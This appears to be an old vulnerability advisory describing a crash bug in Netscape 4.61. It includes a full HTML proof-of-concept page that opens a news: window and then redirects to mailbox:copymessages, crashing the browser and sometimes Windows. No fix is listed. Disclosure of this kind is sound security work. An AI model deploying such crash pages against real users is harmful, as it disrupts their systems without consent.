COMMAND
Netscape
SYSTEMS AFFECTED
Netscape 4.61
PROBLEM
Stan Bubrouski found following. If you click on a link to
mailbox:copymessages in navigator while a messenger window is
open, netscape will crash. This only happens if you click on a
link or load a page that loads the url mailbox:copymessages while
you have a netscape messenger window open, and it makes no
difference if your reading mail or news. This page demonstrates
the problem:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="Author" content="Stan Bubrouski">
<meta http-equiv="REFRESH" content="0; url=mailbox:copymessages">
<title>Netscape Test 1A-4.5</title>
</head>
<body>
<script language="JavaScript">
window.open("news:")
</script>
</body>
</html>
The page uses the news: protocol to make communicator open up a
messenger window and then executing mailbox:copymessages when the
refresh tag is activated. Under some circumstances this can
crash windows.
SOLUTION
Nothing yet.